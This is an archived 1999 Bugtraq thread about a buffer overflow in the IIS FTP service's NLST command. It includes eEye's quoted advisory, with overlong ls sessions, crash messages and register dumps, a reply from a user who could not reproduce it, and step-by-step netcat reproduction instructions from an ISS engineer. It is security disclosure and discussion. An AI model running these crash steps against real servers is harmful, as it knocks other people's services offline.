[9229] in bugtraq
Re: [NTSEC] Advisory: IIS FTP Exploit/DoS Attack
daemon@ATHENA.MIT.EDU (Jon Larimer)
Tue Jan 26 14:22:14 1999
Date: Mon, 25 Jan 1999 17:39:49 -0500
Reply-To: Jon Larimer <jlarimer@ISS.NET>
From: Jon Larimer <jlarimer@ISS.NET>
X-To: Loa'y Assaf <lassaf@usa.net>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <19990125115445.13397.qmail@www0a.netaddress.usa.net>
I was able to reproduce on an NT4/SP4 machine with IIS4 (from the NT4
option pack) using the following procedure:
1.) Connect to port 21 of the target machine using netcat
2.) send: USER anonymous
3.) send: PASS root@
4.) send: PORT w,x,y,z,122,105
where w,x,y,z is the IP address of the machine performing the
attack. the 122,105 part means to connect to port 31337 on
the attacking machine.
5.) In a different window or on another terminal use netcat to listen on
the attacker's machine, port 31337. (nc -l -p 31337)
6.) send: NLST AAAAAAAA... (316 A's)
7.) Inetinfo.exe on the target machine should crash.
You have to send a valid PORT command, and be listening on the port, for
the service to crash. If you don't send a valid PORT command and listen
for the connection, the FTP service will just disconnect you.
-jon
=====================================================================
Jon Larimer | Direct Dial: (678) 443-6159
Systems Engineer / ISS XForce Team | ISS Front Desk: (678) 443-6000
Internet Security Systems, Inc. | ISS Fax: (678) 443-6477
http://www.iss.net/ *Adaptive Network Security for the Enterprise*
=====================================================================
On 25 Jan 1999, Loa'y Assaf wrote:
>
> TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net
> Contact ntsecurity-owner@iss.net for help with any problems!
> ---------------------------------------------------------------------------
>
> Hi Marc,
>
> I tried to repeat your steps on a Windows NT 4.0 (SP3.0) IIS4.0 machine. I did
> _NOT_ have any of the results you are taking about!!
> All services are working smoothly. I could browse and access the newsgroups.
> And the funniest thing is the ftp session did not close. I tried to compare it
> to a simple "missing file" situation (you can see that in the final lines in
> the log below).
>
> Below is a log of what I did.
>
> Can anyone confirm this? I think the problem is in Marc's installation only.
>
> -------------------- Start Of Test Log ---------------------
>
> ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> 200 PORT command successful.
> 150 Opening ASCII mode data connection for file list.
> 550 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAls: The system cannot find the
> file specified.
> ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAA
> 200 PORT command successful.
> 150 Opening ASCII mode data connection for file list.
> 550 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAls: The system cannot find the file
> specified.
> ftp> ls abc.xyz
> 200 PORT command successful.
> 150 Opening ASCII mode data connection for file list.
> 550 abc.xyz: The system cannot find the file specified.
> ftp>
>
> ---------------------- End Of Test Log ----------------------
> > -----Original Message-----
> > From: owner-ntsecurity@iss.net [mailto:owner-ntsecurity@iss.net]On
> > Behalf Of Marc
> > Sent: Sunday, January 24, 1999 5:56 PM
> > To: BUGTRAQ@NETSPACE.ORG
> > Cc: NTSEC; NT System Admin Issues
> > Subject: [NTSEC] Advisory: IIS FTP Exploit/DoS Attack
> >
> >
> >
> > TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net
> > Contact ntsecurity-owner@iss.net for help with any problems!
> > ------------------------------------------------------------------
> > ---------
> >
> > ________________________________________________________________________
> >
> > eEye Digital Security Team <e>
> > www.eEye.com
> > info@eEye.com
> > Sunday, January 24, 1999
> > ________________________________________________________________________
> >
> > Advisory:
> > IIS Remote FTP Exploit/DoS Attack
> >
> > Systems Tested:
> > Windows NT 4.0 (SP4) IIS 3.0 / 4.0
> > Windows 95/98 PWS 1.0
> >
> > Release Date:
> > Sunday, January 24, 1999
> >
> > Advisory Code:
> > IISE01
> > ________________________________________________________________________
> >
> > Description:
> > ________________________________________________________________________
> >
> > While feeding in logic into Retina's artificial intelligence engine,
> > which helps construct query strings to pass to internet servers,
> > checking for overflow bugs and miss parsing of command strings. Our test
> > server stopped responding. Below is our findings.
> >
> > Microsoft IIS (Internet Information Server) FTP service contains a
> > buffer overflow in the NLST command. This could be used to DoS a remote
> > machine and in some cases execute code remotely.
> >
> > Lets look at the following example attack. [Comments are in brackets.]
> >
> > The server must either have anonymous access rights or an attacker must
> > have an account.
> >
> > C:\>ftp guilt.xyz.com
> > Connected to guilt.xyz.com.
> > 220 GUILT Microsoft FTP Service (Version 4.0).
> > User (marc.xyz.com:(none)): ftp
> > 331 Anonymous access allowed, send identity (e-mail name) as password.
> > Password:
> > 230 Anonymous user logged in.
> >
> > ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> >
> > 200 PORT command successful.
> > 150 Opening ASCII mode data connection for file list.
> > [The server has now processed our long NLST request and has crashed]
> > -> ftp: get :Connection reset by peer
> > [Our ftp client looses connection... that is a given]
> >
> > The above example uses 316 characters to overflow. This is the smallest
> > possible buffer to pass that will overflow IIS. Lets take a look at the
> > server side happenings.
> >
> > On the server side we have an "Application Error" message for
> > inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at
> > '0x41414156'. The memory could not be 'read'."
> >
> > If we take a look at our registers we will see the following:
> >
> > EAX = 0000005C EBX = 00000001
> > ECX = 00D3F978 EDX = 002582DD
> > ESI = 00D3F978 EDI = 00000000
> > EIP = 710F8AA2 ESP = 00D3F644
> > EBP = 00D3F9F0 EFL = 00000206
> >
> > There is no 41 hex (Our overflow character) in any of our registers so
> > we chalk this up as a DoS attack for now.
> >
> > Lets move on and take a look at the largest string we can pass to
> > overflow IIS.
> >
> > C:\>ftp guilt.xyz.com
> > Connected to guilt.xyz.com.
> > 220 GUILT Microsoft FTP Service (Version 4.0).
> > User (marc.xyz.com:(none)): ftp
> > 331 Anonymous access allowed, send identity (e-mail name) as password.
> > Password:
> > 230 Anonymous user logged in.
> > [The server must either have anonymous access rights or an attacker must
> > have an account]
> >
> > ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> > AAAAAAAAA
> >
> > 200 PORT command successful.
> > 150 Opening ASCII mode data connection for file list.
> > Connection closed by remote host.
> >
> > In this case we passed 505 characters to overflow IIS. This is the
> > largest possible (tested) buffer to pass that will overflow IIS. Lets
> > take a look once again at the server side.
> >
> > On the server we have the same "Application Error" message for
> > inetinfo.exe except this time "The instruction at '0x722c9262'
> > referenced memory at "0x41414141'." This is looking mighty interesting.
> > Lets look at our registers once again:
> >
> > EAX = 00000000 EBX = 41414141
> > ECX = 41414141 EDX = 722C1CAC
> > ESI = 41414141 EDI = 41414141
> > EIP = 722C9262 ESP = 00D3F524
> > EBP = 00D3F63C EFL = 00000246
> >
> > There sure are a lot of 41 hex codes in our registers now. >:-]
> >
> > So to wrap it all up what we have here is a DoS attack against any IIS
> > server with ftp access. Keep in mind we have to be able to login.
> > However, Anonymous access is granted on most servers. Once we have
> > overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
> > SMTP etc..) What we have seems to be a very interesting buffer overflow.
> >
> > ________________________________________________________________________
> >
> > Special Thanks
> > ________________________________________________________________________
> >
> > The eEye Digital Security Team would like to extend a special thanks to
> > Mudge and Dildog.
> >
> > ________________________________________________________________________
> >
> > Copyright (c) 1999 eEye Digital Security Team
> > ________________________________________________________________________
> >
> > Permission is hereby granted for the redistribution of this alert
> > electronically. It is not to be edited in any way without express
> > consent of eEye. If you wish to reprint the whole or any part of this
> > alert in any other medium excluding electronic medium, please e-mail
> > alert@eEye.com for permission.
> >
> > ________________________________________________________________________
> >
> > Disclaimer:
> > ________________________________________________________________________
> >
> > The information within this paper may change without notice. Use of this
> > information constitutes acceptance for use in an AS IS condition. There
> > are NO warranties with regard to this information. In no event shall the
> > author be liable for any damages whatsoever arising out of or in
> > connection with the use or spread of this information. Any use of this
> > information is at the user's own risk.
> >
> > Please send suggestions, updates, and comments to: alert@eEye.com
> >
> > eEye Digital Security Team
> > http://www.eEye.com
> > info@eEye.com
> > ________________________________________________________________________
> >
> >
>
> ____________________________________________________________________
> Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
>
